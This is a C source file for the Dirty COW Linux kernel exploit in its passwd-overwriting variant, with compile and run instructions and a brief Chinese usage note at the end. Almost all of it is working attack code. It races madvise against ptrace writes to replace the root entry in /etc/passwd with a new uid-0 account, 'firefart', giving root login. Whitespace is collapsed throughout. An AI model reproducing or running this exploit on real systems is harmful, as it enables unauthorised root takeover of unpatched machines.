//// This exploit uses the pokemon exploit of the dirtycow vulnerability// as a base and automatically generates a new passwd line.// The user will be prompted for the new password when the binary is run.// The original /etc/passwd file is then backed up to /tmp/passwd.bak// and overwrites the root account with the generated line.// After running the exploit you should be able to login with the newly// created user.//// To use this exploit modify the user values according to your needs.// The default is "firefart".//// Original exploit (dirtycow's ptrace_pokedata "pokemon" method):// https://github.com/dirtycow/dirtycow.github.io/blob/master/pokemon.c//// Compile with:// gcc -pthread dirty.c -o dirty -lcrypt//// Then run the newly create binary by either doing:// "./dirty" or "./dirty my-new-password"//// Afterwards, you can either "su firefart" or "ssh firefart@..."//// DON'T FORGET TO RESTORE YOUR /etc/passwd AFTER RUNNING THE EXPLOIT!// mv /tmp/passwd.bak /etc/passwd//// Exploit adopted by Christian "FireFart" Mehlmauer// https://firefart.at//#include<fcntl.h>#include<pthread.h>#include<string.h>#include<stdio.h>#include<stdint.h>#include<sys/mman.h>#include<sys/types.h>#include<sys/stat.h>#include<sys/wait.h>#include<sys/ptrace.h>#include<stdlib.h>#include<unistd.h>#include<crypt.h>constchar*filename ="/etc/passwd";constchar*backup_filename ="/tmp/passwd.bak";constchar*salt ="firefart";int f;void*map;pid_t pid;pthread_t pth;structstat st;structUserinfo{char*username;char*hash;int user_id;int group_id;char*info;char*home_dir;char*shell;};char*generate_password_hash(char*plaintext_pw){returncrypt(plaintext_pw, salt);}char*generate_passwd_line(structUserinfo u){constchar*format ="%s:%s:%d:%d:%s:%s:%s\n";int size =snprintf(NULL,0, format, u.username, u.hash,u.user_id, u.group_id, u.info, u.home_dir, u.shell);char*ret =malloc(size +1);sprintf(ret, format, u.username, u.hash, u.user_id,u.group_id, u.info, u.home_dir, u.shell);return ret;}void*madviseThread(void*arg){int i, c =0;for(i =0; i <200000000; i++){c +=madvise(map,100, MADV_DONTNEED);}printf("madvise %d\n\n", c);}intcopy_file(constchar*from,constchar*to){// check if target file already existsif(access(to, F_OK)!=-1){printf("File %s already exists! Please delete it and run again\n",to);return-1;}char ch;FILE *source,*target;source =fopen(from,"r");if(source ==NULL){return-1;}target =fopen(to,"w");if(target ==NULL){fclose(source);return-1;}while((ch =fgetc(source))!=EOF){fputc(ch, target);}printf("%s successfully backed up to %s\n",from, to);fclose(source);fclose(target);return0;}intmain(int argc,char*argv[]){// backup fileint ret =copy_file(filename, backup_filename);if(ret !=0){exit(ret);}structUserinfo user;// set values, change as neededuser.username ="firefart";user.user_id =0;user.group_id =0;user.info ="pwned";user.home_dir ="/root";user.shell ="/bin/bash";char*plaintext_pw;if(argc >=2){plaintext_pw = argv[1];printf("Please enter the new password: %s\n", plaintext_pw);}else{plaintext_pw =getpass("Please enter the new password: ");}user.hash =generate_password_hash(plaintext_pw);char*complete_passwd_line =generate_passwd_line(user);printf("Complete line:\n%s\n", complete_passwd_line);f =open(filename, O_RDONLY);fstat(f,&st);map =mmap(NULL,st.st_size +sizeof(long),PROT_READ,MAP_PRIVATE,f,0);printf("mmap: %lx\n",(unsignedlong)map);pid =fork();if(pid){waitpid(pid,NULL,0);int u, i, o, c =0;int l=strlen(complete_passwd_line);for(i =0; i <10000/l; i++){for(o =0; o < l; o++){for(u =0; u <10000; u++){c +=ptrace(PTRACE_POKETEXT,pid,map + o,*((long*)(complete_passwd_line + o)));}}}printf("ptrace %d\n",c);}else{pthread_create(&pth,NULL,madviseThread,NULL);ptrace(PTRACE_TRACEME);kill(getpid(), SIGSTOP);pthread_join(pth,NULL);}printf("Done! Check %s to see if the new user was created.\n", filename);printf("You can log in with the username '%s' and the password '%s'.\n\n",user.username, plaintext_pw);printf("\nDON'T FORGET TO RESTORE! $ mv %s %s\n",backup_filename, filename);return0;}
gcc -pthread dirty.c -o dirty -lcrypt ./dirty 密碼(這一步出結果可能有點慢,耐心等待一下) su firefart